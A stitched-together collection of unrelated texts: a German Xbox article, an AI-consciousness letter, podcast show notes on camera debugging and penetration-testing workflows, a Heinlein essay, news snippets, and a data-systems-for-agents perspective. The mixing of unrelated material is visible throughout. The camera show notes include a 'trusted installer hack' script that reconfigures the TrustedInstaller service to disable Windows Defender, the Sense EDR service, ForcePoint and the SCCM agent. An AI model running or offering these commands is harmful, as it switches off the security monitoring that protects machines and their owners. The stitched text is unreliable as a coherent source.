Wir schreiben das Jahr 2003. Ich bin ein Neuntklässler und spiele auf der Original-Xbox mit einem Controller, der ungefähr so groß ist wie eine Servierplatte. Ich besitze Halo und Dead or Alive 3 und bin von der Grafik völlig begeistert. Das nächste Spiel, das ich mir kaufe, ist Crimson Skies, ein arcadeartiges Luftkampfspiel, das alternative Geschichte mit Abenteuer-Pulp verbindet und über eine wirklich hervorragende Steuerung verfügt.

Seit über 20 Jahren versuche ich nun, dieses Gefühl – wenn schon nicht genau diese Erfahrung – wieder aufleben zu lassen.

Die meisten der Blockbuster-Titel aus dem ursprünglichen Xbox-Sortiment können Sie bereits jetzt auf dem PC spielen, darunter auch Halo, für das sowohl ein Remaster als auch ein Remake in Vorbereitung sind. Einige der eher nischenorientierten Titel waren jedoch schon seit sehr, sehr langer Zeit nicht mehr erhältlich, mit Ausnahme einiger weniger, die Sie über den Game Pass streamen können.

Microsoft hat beschlossen, einige dieser weniger bekannten Klassiker – und vielleicht auch ein paar, die dem Begriff „Klassiker“ nicht ganz gerecht werden – in Form vollständiger Portierungen für PC-Spieler verfügbar zu machen.

Xbox-„Klassiker“ erhalten PC-Ports

Das Unternehmen nennt dies „Xbox-Abwärtskompatibilität auf dem PC“. Der Start erfolgt mit vier Spielen, weitere sollen in Kürze folgen. Diese Spiele laufen lokal auf Ihrem Windows-PC, offenbar ohne jegliche Emulation (oder falls eine Emulation stattfindet, wird dies nicht ausdrücklich erwähnt), wobei bestimmte Mindestsystemanforderungen gelten, darunter eine GTX 950- oder Radeon RX 550-Grafikkarte. Grundsätzlich sollte jeder PC, der in den letzten sechs oder sieben Jahren auf den Markt gekommen ist, diese Anforderungen erfüllen, einschließlich Laptops und Handhelds mit integrierter Grafik.

Zu den ersten Titeln gehört Crimson Skies: High Road to Revenge, von dem ich erst später erfuhr, dass es sich um eine ausschließlich für Konsolen veröffentlichte Fortsetzung eines früheren PC-Spiels handelt. Es kostet zehn Euro – erstaunlich günstig in einer Welt, in der Microsoft 40 Euro für eine Wieder-Wieder-Wiederveröffentlichung von Skyrim verlangt.

Ich habe es sofort gekauft und wollte es herunterladen … doch das geht nicht, da es laut der Xbox-App für Windows nur per Streaming über den Game Pass verfügbar ist.

Microsoft gibt an, dass man die neueste Version des Xbox-Insider-Builds benötigt, über die ich bereits verfüge. Dies scheint eine schrittweise Einführung zu sein – ein häufiges Problem bei Funktionen, die von der Xbox-Windows-App abhängig sind. Ich bin etwas verärgert, dass ich es nicht sofort ausprobieren kann.

Das bedeutet auch, dass es nahezu unmöglich sein wird, das Spiel auf einem SteamOS-basierten Gerät zu spielen. Was für mich persönlich sehr schade ist, da ich gerade erst eine Steam Machine gekauft habe. Ich werde diesen Artikel aktualisieren, sobald ich das Spiel zum Laufen gebracht habe.

Microsoft

Die weiteren Titel sind Blinx: The Time Sweeper, einer der frühen Versuche, der Xbox ein Maskottchen-Plattformspiel zu geben, Conker: Live & Reloaded, ein Remake des N64-Kuriosums Conker’s Bad Fur Day, das nach der Übernahme von Rare durch Microsoft entstand, sowie das extrem für die 2000er Jahre typische Partyspiel Fusion Frenzy. Alle vier waren Teil von Microsofts anfänglicher Veröffentlichungsoffensive für die Xbox, und Blinx sowie Crimson Skies sind zudem über den Game Pass verfügbar.

Ich bin mir sicher, dass es vielen PC-Spielern genauso geht wie mir und sie an mindestens eines dieser Spiele schöne Erinnerungen haben. Insbesondere Blinx bot einige sehr interessante Spielkonzepte, die auf älteren Konsolen nicht möglich waren – ermöglicht durch die interne 8-GB-Festplatte der Xbox, ein entscheidender Unterschied zur Playstation 2 und anderen Konsolen. Weitere Spiele sollen angeblich in Zukunft in die Xbox-Abwärtskompatibilität aufgenommen werden, wobei nicht genau angegeben wurde, um welche es sich dabei handelt.

Tiefgreifende Probleme bei Xbox bleiben bestehen

Doch ich fürchte, ich muss die Stimmung hier zum Schluss etwas trüben. Die Xbox als Plattform und als Geschäftsbereich von Microsoft befindet sich in einer prekären Lage: Sie kann im Wettbewerb mit der Playstation nicht mithalten, wird von Valve mit Steam und SteamOS unter Druck gesetzt und entlässt Tausende von Mitarbeitern aus ihrem riesigen, kostspieligen Bestand an Entwicklern und Publishern. Xbox muss dringend Spieler zurückgewinnen, die nach den massiven Preiserhöhungen für den Game Pass und die Xbox-Hardware möglicherweise zögern, der Plattform noch zu vertrauen.

Diese nostalgischen Neuzugänge für den PC folgen kurz nach Gerüchten über ein neues Fallout-Spiel des bei Fans beliebten Entwicklers (und der Microsoft-Tochter) Obsidian, der stark von Entlassungen betroffen war. Es liegt nahe, beide Schritte als Versuch zu betrachten, das Ruder herumzureißen und/oder die Spieler dazu zu bringen, die tiefgreifenden Probleme innerhalb von Xbox und Microsoft insgesamt zu vergessen. Dazu wird es jedoch mehr als eine 23 Jahre alte Portierung brauchen.

Anil Seth is right to point out that to overestimate artificial intelligence is to underestimate ourselves (Once again we are told AI may be conscious – I study consciousness, and I have my doubts, 15 July). But he is wrong only to have doubts about whether AI systems like Claude may become conscious. He should be certain, and should say so more forcefully.

It’s not like anything to be Claude, just as it’s not like anything to be a washing machine. An academic education is not required to realise that, common sense will do. Artificial intelligence systems won’t become conscious for the same reason they won’t become pregnant; they’re not that sort of thing.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Read more of this story at Slashdot.

Show Notes

Episode Overview

• Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

• • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
  • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
  • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
  • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
  • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
  • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

• • crontab + Python scripts for automated monitoring
  • grep -v , cat , tail , and vi (line navigation with :1000 )
  • Obsidian for note-taking & AI assistant integration
  • Firefox/Playwright for headless browser testing
  • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
  • 7-Zip for archive extraction
  • Google Drive for searchable config backups

Resources & Links

• • Python API Script: Uniview IPC3628SR Recording Checker
  • Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera)
  • TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner

Quick Takeaways

1. 1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
   2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
   3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
   4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
   5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.

• Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

Read more of this story at Slashdot.

This week, in addition to the usual links, app debuts, and recap of MacStories' articles and podcasts:

• Combining Codex with Reminders, Email, and Notion, by John
• Pursuing Meta-Style Glasses is a Poor Strategy for Apple, by Jonathan
• Public Betas, Dictation Apps, and More, by Jonathan

If you’ve ever watched an AI coding agent mess up your Obsidian vault, this can help. I keep my second

SUMMARY

The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active security assessments.

ONE-SENTENCE TAKEAWAY

Isolate browser environments, utilize automation scripts, and verify network paths before starting security tests to avoid workflow interruptions.

TOOLS

• Talon Voice – Open-source voice recognition software enabling hands-free computer control and command execution.
• Obsidian – Local-first markdown note-taking application supporting secure, AI-friendly knowledge management.
• AutoHotkey – Windows scripting utility for creating custom macros and remapping keyboard inputs.
• Chrome Debug Commands – Browser developer tools allowing direct inspection of extensions, cookies, and storage.
• Whisper Diarization – Audio processing script that separates speaker tracks and converts recordings to searchable text.
• Hyper-V / WSL – Microsoft virtualization platforms enabling isolated guest environments and Linux subsystem integration.
• OpenConnect / OpenVPN – Command-line tunneling clients used for establishing secure, split-tunnel network connections.
• Jamboree Framework – Portable PowerShell environment that dynamically provisions development tools without altering system paths.
• MOBA Portable – Feature-rich terminal emulator supporting static/dynamic tunnels, auto-reconnect, and embedded X-server capabilities.
• Nmap – Network discovery and security auditing tool utilized for comprehensive port scanning and service detection.

00:00:00 Ergonomic Workspace Configuration

Configures physical workstation elements to reduce strain during extended testing sessions. Proper alignment prevents repetitive stress injuries while maintaining focus on technical tasks.

• Monitor Positioning – Displays should align with eye level to maintain neutral neck posture; the speaker notes their curved 49-inch screen sits slightly high due to chair adjustments.
• Split Keyboard Layout – Utilizes a Freestyle 2 mechanical keyboard, allowing natural shoulder-width arm placement and reducing wrist deviation during prolonged typing.
• Postural Adaptation – Acknowledges that ergonomic equipment requires matching body alignment; elbow rests should sit between hip and shoulder height for optimal leverage.

01:45:00 Voice Control & Note Synchronization

Utilizes auditory input methods and localized knowledge bases to streamline documentation workflows. Separating secure work notes from casual observations prevents data contamination.

• Talon Voice Integration – Runs continuously to handle navigation, text entry, and application switching without manual keyboard interaction.
• Obsidian Migration – Transitions from cloud-based keep apps to local markdown files, enabling direct querying by local AI models while maintaining offline accessibility.
• Note Categorization – Divides information into secure work records and insecure personal logs, ensuring clean data pipelines for future retrieval and analysis.

03:50:00 Browser Extension Management & Security Isolation

Separates web browsing activities from primary work processes to minimize attack surfaces. Running dedicated user profiles prevents plugin conflicts and credential leakage.

• Jailed User Accounts – Creates restricted system profiles that only launch the browser, isolating extensions from core workstation operations.
• Shared Folder Synchronization – Establishes a single directory path bridging work and browsing users, allowing seamless file transfers without cross-contamination.
• Extension Audit Process – Leverages Chrome debug commands to enumerate installed plugins, verifying functionality before deployment on target networks.

06:15:00 Training Optimization & Audio Processing

Accelerates mandatory compliance viewing through speed manipulation and automated transcription. Converting video content into searchable text enables rapid information retrieval.

• Global Speed Control – Increases playback rates up to sixteen times normal speed, drastically reducing time spent on repetitive corporate training modules.
• Whisper Diarization Pipeline – Downloads video tracks, separates speaker voices, and generates timestamped transcripts for quick reference during assessments.
• Download Management – Employs multi-threaded swarm downloaders and classic turbo managers to handle bulk media retrieval without interrupting active workflows.

10:40:00 Virtualization & Network Tunneling Protocols

Establishes isolated testing environments using Windows virtual machines while managing connectivity constraints. Proper session handling prevents unexpected disconnections during remote engagements.

• Enhanced Session Mode – A Hyper-V feature providing higher resolution and shared clipboard functionality; disabling it is required before initiating certain VPN clients to avoid routing conflicts.
• Split Tunneling Mechanics – Routes specific traffic through the virtual network while keeping local resources accessible, preventing complete internet loss during connection tests.
• Certificate Verification – Identifies self-signed SSL mismatches early in the process, documenting them as preliminary findings before proceeding with authentication steps.

15:30:00 Macro Automation & Input Remapping

Remaps frequently used keyboard shortcuts to reduce physical strain and accelerate command execution. Running scripts with elevated privileges ensures reliable input registration across virtual environments.

• Caps Lock Repurposing – Converts the caps lock key into a primary modifier, assigning copy/paste functions to adjacent letters for faster workflow navigation.
• Physical Typing Macros – Simulates keystrokes with deliberate delays, allowing seamless data entry into restricted VM consoles that block standard clipboard operations.
• Administrator Execution Requirement – Highlights that macro scripts must run with elevated privileges to successfully inject inputs across different desktop sessions.

20:15:00 Portable Development Environments & Python Management

Deploys lightweight scripting frameworks that dynamically provision necessary tools without modifying host configurations. Verifying package contents prevents dependency conflicts during testing.

• Jamboree Framework – A PowerShell-driven utility that downloads and configures development stacks on demand, resetting environment variables to maintain system cleanliness.
• NuGet Package Filtering – Queries Microsoft's repository API to retrieve specific Python versions, ensuring compatibility with legacy tunneling scripts.
• Binary Verification Process – Checks extracted archives for bundled pip.exe or pip3.exe executables, eliminating manual module installation steps during rapid deployments.

28:40:00 AI-Assisted Scripting & Debugging Workflows

Generates and refines PowerShell functions through iterative conversational prompts. Validating AI output against actual system behavior prevents silent configuration errors.

• Vibe Coding Approach – Relies on continuous feedback loops with language models to draft, minimize, and debug automation scripts in real-time.
• Parameter Standardization – Enforces strict formatting rules for PowerShell commands, avoiding hardcoded paths and ensuring cross-environment compatibility.
• Temporary Storage Management – Monitors extraction directories to prevent disk saturation, redirecting large package downloads away from constrained system partitions.

35:10:00 Terminal Emulation & Advanced Tunneling Strategies

Facilitates complex network routing through dedicated terminal applications. Configuring dynamic and static tunnels enables reliable reverse connections for remote assessments.

• MOBA Portable Configuration – Utilizes an INI-based tunnel manager that automatically maintains connections across changing IP addresses or Wi-Fi networks.
• Reverse Shell Routing – Establishes outbound channels back to the tester, then proxies all subsequent traffic through those connections for consistent monitoring.
• Proxy Chain Integration – Forces non-proxy-aware applications to route through Burp Suite or custom interceptors using Windows utility wrappers like Priboxy.

42:30:00 Final Connectivity Testing & Engagement Wrap-Up

Executes comprehensive port scans to verify target accessibility before documenting findings. Acknowledging workflow detours ensures realistic time management during active engagements.

• Nmap Verification – Runs full-port scans with verbose output to confirm host responsiveness and identify open services prior to credential testing.
• Connection Refusal Documentation – Captures screenshot evidence of failed routing attempts, providing clear proof of network restrictions for client reporting.
• Workflow Reflection – Recognizes that exploratory debugging adds value but requires time boundaries; balancing thoroughness with engagement scope maintains professional efficiency.

Provide feedback on this episode.

If our world is currently thinking through the brave new future of generative AI and super intelligence, Karel Čapek’s 1920 play RUR: Rossum’s Universal Robots proves the notion of robot consciousness and rebellion is not a new anxiety. So does Mary Shelley’s Frankenstein, which Čapek’s drama resembles in its philosophical debates and moral warnings, despite its futurism.

Ella Road adapts Čapek’s play for our times in this Headlong and Schwarzman Centre co-production, its science apparently informed by research from Oxford University academics, which gives it a cutting-edge, real-world underpinning.

In his early days as a writer, Heinlein wrote his stories in the context of a shared universe that he called the Future History. These were mostly short stories at first, with the occasional novella. But they include some great stories.

The Future History, Part 2

There were a few key themes running through Heinlein’s body of work. One we have already remarked upon, individual freedom, which had to be protected from any source of power, including both government and private corporations. This was essentially a libertarian perspective, but unlike many of today’s libertarians he was equally averse to the corporate type of power as a threat. But he had a complex view of the world which has resisted some attempts to pigeonhole him. He started out as a socialist, and while he didn’t remain one, he never became a knee-jerk reactionary either. In fact, he clearly despised them just as much. One way of looking at his body of work is that he explored the ramifications of different social policies through his stories, but in most cases the needs of a good story came first in the early years. In his later works he often surrendered to the temptation to pontificate, which reduced the enjoyment of them somewhat for anyone who was not already in agreement with his opinions

The second major theme you see throughout all of his works is the idea of the competent individual. He admired anyone who could do a job well, and clearly did not care whether they were man or woman, nor black or white. Alexei Panshin writes, in Heinlein in Dimension:

“There is one unique and vivid human Heinlein character, but he is a composite of Joe-Jim Gregory, Harriman, Waldo, Lazarus Long, Mr. Kiku, and many others, rather than any one individual.  I call the composite the Heinlein Individual.  . . .  It is a single personality that appears in three different stages and is repeated in every Heinlein book in one form or another.

“The earliest stage is that of the competent but naïve youngster. . . .  The second stage is the competent man in full glory, the man who knows how things work. . . .  The last stage is the wise old man who not only knows how things work, but why they work, too.”

Harriman we have already encountered in The Man Who Sold The Moon, and the others appear later. The Heinlein Individual, as he is often referred to, appears in many of Heinlein’s stories.

A third major theme has to do with morality and religion. Heinlein grew up in what he considered the heart of the Bible Belt, in Missouri, and saw first-hand how the evangelical Christians operated, and despised what he saw. As someone who believed in individual freedom, he could never surrender to someone else’s idea of how he should live his life. He saw them as a danger to his ideal libertarian society, and this shows up very early in his work. He personified the good, upright, church-going folk as “Mrs. Grundy”, and while you might want to draw the drapes to keep her from knowing what you were doing, you should never let her dictate how you would live your life. Revolt in 2100 begins the exploration of this in detail.

There is a chart of the future history at Baen Books, and in it we see that the 1960s were what Heinlein called The Crazy Years. (Remember, he conceived this in the 1940s and 1950s.) But in 2012 the major thing occurred when Nehemiah Scudder, a backwoods preacher, managed to get elected as President. This would be the last election held under the U.S. Constitution as he established a religious dictatorship that lasted a couple of generations. IS this plausible? Heinlein wrote about this:

“As for … the idea that we could lose our freedom by succumbing to a wave of religious hysteria, I am sorry to say that I consider it possible. I hope that it is not probable. But there is a latent deep strain of religious fanaticism in this, our culture; it is rooted in our history and it has broken out many times in the past.

“It is with us now; there has been a sharp rise in strongly evangelical sects in this country in recent years, some of which hold beliefs theocratic in the extreme, anti-intellectual, anti-scientific, and anti-libertarian.“

His background in the Bible Belt is what informs a lot of his thinking. He goes on to describe how this might happen:

“Throw in a Depression for good measure, promise a material heaven here on earth, add a dash of anti-Semitism, anti-Catholicism, anti-Negroism, and a good large dose of anti-“furriners” in general and anti-intellectuals here at home, and the result might be something quite frightening — particularly when one recalls that our voting system is such that a minority distributed as pluralities in enough states can constitute a working majority in Washington.”

As the science fiction author David Brin points out, Heinlein accurately predicted much of what we are going through in the United States right now. There is an emerging dictatorship in the United States, promoted by right-wing religious groups. The “material heaven here on earth” is represented by the Prosperity Gospel, prominent in the Trump movement, and so on. Where the Prophet used a restored Ku Klux Klan as his muscle, we have The Proud Boys, and so on. It really does track very closely. Read David Brin’s article for more on this.

But nothing lasts forever. Empires rise and fall, governments change, and in this case a resistance movement arises. The revolt is depicted in the novella If This Goes On— (1940), and it is set in the year 2100, giving the title to the book. The main character is John Lyle, who is a young army officer assigned to the group protecting The Prophet in his capital of New Jerusalem. In the beginning he is thoroughly indoctrinated, but then begins to question his beliefs when he falls for one of The Prophet’s virgins, Sister Judith. He has an older companion in the military who is not only unshocked when John confides in him about his doubts, but offers to help him. It turns out this companion, Zeb Jones, is a member of the underground group called The Cabal that is working to overthrow the theocracy. In the end they are successful, and in the course of this John Lyle does a lot of growing up. In this we see another common characteristic of Heinlein stories: a young, naive boy meets up with an older and wiser man who helps him to grow.

In 2016 If This Goes On— won the Retro-Hugo Award for best novella of 1940. And in a personal note, I have T-shirt that says “Scudder for President 2012”. This baffles most people, but I enjoy the in-joke.

What is interesting in this book is that Heinlein doesn’t stop with a successful revolution. He then goes on in a second novella to describe the government that arose following the revolution, and this story is called Coventry (1940). The new government that arises after the revolution is called The Covenant, and it is an attempt to make sure that what happened with Scudder in 2012 could never happen again. It is a strongly libertarian government based on an agreement to be non-violent. In this society, scientists can cured criminal or violent tendencies, but any citizen convicted of such must agree to the treatment. The alternative to treatment is that they can be exiled to a place called Coventry. Coventry is outside of the Covenant society, and the Covenant society has nothing to do with them.

Our protagonist, David McKinnon, is convicted of assault, and chooses to go to Coventry instead of getting treatment. He imagines it is a peaceful anarchy, but is disabused of this notion when he is robbed of all of this possessions upon entry and thrown in jail. A fellow inmate, Fader Magee, helps him escape, and we learn he is an agent of the Covenant government. They learn that two of the factions in Coventry have joined forces, and found a way to break through the barrier that surrounds Coventry. They plan to attack and overthrow the Covenant government. David and Fader separately work to escape and get back to warn the Covenant government, which they do successfully. And by doing this, David has demonstrated that he is no longer a danger to the Covenant society and no longer subject to treatment.

This story won a Prometheus Hall of Fame Award, which is awarded by the Libertarian Futurist Society. And the Covenant society certainly has libertarian features. But this is not the Randian version of libertarianism, as exemplified by the fact that David is restored to the society because he demonstrated his concern for others. Heinlein always promoted individual freedom, but also the idea that people have a responsibility towards others.

Finally, Revolt in 2100 contains the short story Misfit, w2hich we have looked at previously.

The Past Through Tomorrow (1967) is a one volume collection of most of the Future history stories. I say most because just which stories belonged in this group could change from time to time. It also has the last version of the Chart of the Future History, and a few stories we have not yet mentioned (Methusaleh’s Children, and The Menace From Earth). And many of his other works contain back references to these events that imply that they might be set in the same alternate universe. Heinlein gets the last word on this:

“I have never been sure whether or not publishing that chart was a good idea or a bad mistake. Possibly it helped to sell some stories later—but certainly it caused me and still causes me to receive a lot nuisance mail from nitpickers. I have never felt bound by that chart; it was to serve me, not the other way around. If I found myself with a good story notion which fitted fairly well into the chart but not perfectly, I shed no tears—I went ahead and let the inconsistencies stand.

I want each story to be internally consistent . . . but I won’t let myself be painted into a corner through trying to fit that chart perfectly. I may start another “Future History” story tomorrow . . . and find that to make it a good yarn I must violate some item on that chart. I’ll give the nitpickers something to pick, for I will not hurt a good yarn for the sake of “logic”—logic is not involved, as that chart is fiction, not Holy Writ.”

Links:

• https://www.amazon.com/Heinlein-Dimension-Critical-Alexei-Panshin/dp/0911682015
• https://web.archive.org/web/20151105170345/http://www.baenebooks.com/chapters/1439133417/1439133417___1.htm
• https://david-brin.medium.com/heinleins-future-history-coming-true-before-our-eyes-10356a95556a
• https://en.wikipedia.org/wiki/%22If_This_Goes_On%E2%80%94%22
• https://en.wikipedia.org/wiki/Coventry_(short_story)
• https://en.wikipedia.org/wiki/Prometheus_Award#Hall_of_Fame_Award_inductees
• https://en.wikipedia.org/wiki/The_Past_Through_Tomorrow
• https://www.palain.com/science-fiction/the-golden-age/robert-a-heinlein/the-future-history-part-2/

Provide feedback on this episode.

Im Rahmen der Xbox-Neuausrichtung gibt es gute und schlechte Nachrichten für Obsidian. Das Studio darf endlich ein neues Fallout entwickeln, dafür wird die Fortsetzung des Action-Rollenspiels Avowed 2 gestrichen.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Der Beitrag Notion Agents: Neue iPhone-App für KI-gestützte Kommunikation unterwegs erschien zuerst auf appgefahren.de.

The post Xbox Layoffs Hit Obsidian, id Software, and ZeniMax Online Studios appeared first on OnMSFT.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

... government of the people, by the people, for the people ...
    — Abraham Lincoln, Gettysburg Address (1863)

The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly $30 per million tokens in early 2023; today the same runs under $1, and some providers are pushing costs below $0.10. Across benchmarks, inference prices have fallen between 9x and 900x per year, with a median decline near 50x. Even frontier models are getting dramatically cheaper each generation, with open-source models following closely behind. And crucially, even if “Nobel-Prize-winning genius-level” intelligence isn’t here yet, the intelligence that suffices for the vast majority of knowledge work is here today, and getting cheaper by the month. At this rate, we are soon entering the era of virtually free intelligence—the kind that is more than enough for everyday knowledge work.

Disclosure: This post is a perspective led by Aditya G. Parameswaran—an Associate Professor of EECS and co-director of the EPIC Data Lab at UC Berkeley—together with his collaborators. It is part landscape survey and part perspective, and several of the research directions discussed below (including agentic speculation, structured memory, and synthesizing custom data systems from scratch) draw on the authors' own ongoing work.

So, what does this new era of near-free intelligence mean for data systems? We believe three new challenges—and opportunities—stem from near-zero inference costs:

Data Systems For Agents. Agents will soon become the dominant workload for data systems—with swarms of agents spun up in response to each end-user request. Given differences in characteristics between agents and humans—or applications acting on their behalf—how should we redesign data systems for such agentic users?

Data Systems Of Agents. As agents start taking on the bulk of knowledge work, a new substrate is needed for thousands of agents to manage state over long-running tasks, coordinate and reach consensus, and deal with failures. What do data systems that reliably and efficiently run and manage agent swarms look like?

Data Systems By Agents. Agents are rapidly becoming capable of synthesizing entire data systems in one go—meaning we can rebuild custom systems for each new workload. Verifying that such systems match intended behavior is a challenge. What does it take to let agents synthesize data systems we can actually trust?

Data Systems For, Of, and By Agents

Next, we will discuss each in more detail, followed by discussing the intertwined future of data systems and agents, especially as the three challenges intersect.

Data Systems For Agents

An agent querying a database doesn’t behave like a person or a BI tool. It performs what we call agentic speculation: a high-volume, heterogeneous stream of work spanning schema introspection, columnar exploration, partial and then full query formulation. With multiple agents each exploring portions of the hypothesis space, each user request could amount to 1000s of individual SQL queries. Now, users can issue ‘high-level’ data tasks, e.g., root-cause analysis—e.g., ‘why did coffee sales in Berkeley drop this year’—or exploratory cohort analysis—e.g., ‘which user segments are most likely to churn next quarter’—each involving a combinatorial space of potential joins, aggregations, and filter combinations.

Data Systems Redesigned to More Effectively Support Agentic Speculation

The requests from these agents have various opportunities for optimization. For instance, on a text-to-SQL benchmark with multiple agents attempting each task, only 10-20% of the sub-plans are distinct. Thus, 80-90% of sub-queries perform duplicate work. The same experiments show task success rates significantly increasing with more agentic attempts—so the redundancy is actually helpful. But from the data system perspective it’s wasted work.

An agent-first data system can exploit such properties to help agents make progress faster. It can reuse results across overlapping sub-plans, drawing on ideas from decades-old literature on multi-query optimization and shared scans. Or the data system can try to satisfice, returning approximate answers that are good enough for agents to make progress, leveraging work from the AQP literature—or streaming the results of the final or intermediate operators to help agents decide if seeing the rest is necessary or helpful.

Another opportunity here is to rethink the query interface entirely: instead of agents issuing a single SQL query at a time, they could instead issue a batch of queries, each with its own approximation requirements. Since enumerating an exponential search space (as in the root cause or cohort analysis examples above) isn’t a good use of agentic reasoning ability, perhaps data systems should support higher-level primitives rather than requiring agents to list each SQL query explicitly. One idea here is to draw on DBT-style Jinja macros to provide looping-based primitives for agents to interact with data systems.

A Caffeinated Army of Agents Ready to Tirelessly Complete Your Data Tasks

A final opportunity here is to stop thinking of data systems as passive executors of queries; data systems could be proactive, as they possess more grounding in data and system characteristics that agents may lack a priori—they could steer agents in different directions, provide results for related queries, and also provide performance-level feedback (e.g., instead of executing an expensive query, the system could first provide the agent a latency estimate). The reason we can do this now as opposed to the past is that an agent can accept any form of textual feedback and isn’t expecting a strict SQL query result. In fact, the data system could also prepare both materialized and virtual views for an agent in advance, provided to the agent as part of context, as this may be cheaper or more effective than having an agent author or use them.

Data Systems Of Agents

Previously, we focused on how agents interact with data systems. Now, we consider everything else agents need to keep working: where they live, how they remember, how they coordinate with each other, and how they deal with failures of each other. This agentic substrate is separate from the inference stack powering raw intelligence. However, the inference stack itself is being abstracted away through APIs (e.g., from OpenAI or Anthropic), or, for open-weight models, through serving frameworks that hide low-level details. So far, the agentic substrate has been managed through harnesses like Claude Code and Codex, coupled with various mechanisms to store and retrieve memory.

First, on the memory front, the current wisdom is that files are all you need; agents write to unstructured markdown (MD) files, which can then be searched using grep, or via embedding-based retrieval. In fact, many argue that the solution to continual learning is having agents consume a lot (e.g., an entire codebase, slack, company wikis, …) and then write their learnings into MD files, which are then retrieved selectively on demand. Indeed, file systems, bash scripting, and MD files are and will still be important for agents. However, at scale, when agents are doing the vast majority of knowledge work, this approach will no longer be effective.

Given limited context windows, retrieving all MD file fragments that may be relevant and stuffing it into the context will break down at some point. Even if context windows continue to grow, there are latency benefits to not put all information into context — and in many cases, e.g., when knowledge work involves interacting with large databases or code bases, it will be infeasible to serialize all relevant data into context.

Data Systems As A Substrate for Multi-Agent Swarms

One could use a knowledge graph representation, but knowledge graphs suffer from the same limitations as unstructured MD-based memory due to their lack of structured search. What one needs is to be able to retrieve only memory that is pertinent to the task, across multiple attributes (or facets) of interest. For example, an agent debugging a flaky test should be able to pull only the memories tagged with the relevant module, language, framework, and failure mode—rather retrieving based on keywords or embedding similarity. A separate issue is what to actually retrieve; raw agent traces with mistakes are not very useful as they will induce agents to repeat the same mistake—instead, we want the retrieved memory to be corrective.

We recently explored a related notion of structured memory, where we organize memory across various attributes, each of which could be set as * to indicate universal applicability, or set as a list of values to be matched. For a data agent, the dimensions could include the columns and tables, type of operation, and finally, open-ended natural-language corrective instructions. So, we could include memory that only applies to a given type of operation (e.g., ‘when performing date-time operations, use fiscal year as opposed to calendar year conventions’), or a given table (e.g., ‘column product_cleaned is preferred over column product when querying on product name’). One open question is defining an application-specific structured memory—or what others have called world models for memory. We believe this is akin to defining a schema for each application—and perhaps agents themselves can help us define and refine it over time.

One Possible Way To Store and Retrieve Structured Knowledge [From Here]

Structured memory will be useful also for evolutionary frameworks to effectively manage search spaces. Indeed, storing, structuring, and mining large volumes of single and multi-agent traces can help future agents become much more efficient—potentially enabling effective recursive self-improvement through structured memory-based mechanisms.

Another challenge is to support concurrent edits to shared memory, and concurrent edits in general, when there are many agents performing transformations. While there have been some useful attempts at supporting multiversioning and copy-on-write semantics, it isn’t clear that such techniques will suffice when thousands of agents are attempting to edit shared state at the same time. For instance, when agents are trying various potential transactions in response to a user request, the effects of the vast majority of these transactions need to be rolled back—with only the one ‘correct’ transaction’s result persisting. Work on supporting exactly-once semantics is relevant here, as are underlying techniques based on CRDTs and operational transformation. For updates to fuzzy mechanisms such as memory, we may be able to sacrifice on consistency for perfect correctness in the interest of latency. While agents can reason about semantics to compensate or roll back their actions to eventually finalize most tasks, the primary challenge lies in the degree to which they step on each other’s toes during the process. An important failure mode to be avoided is a form of “livelock,” where incessant compensating actions prevent any meaningful progress.

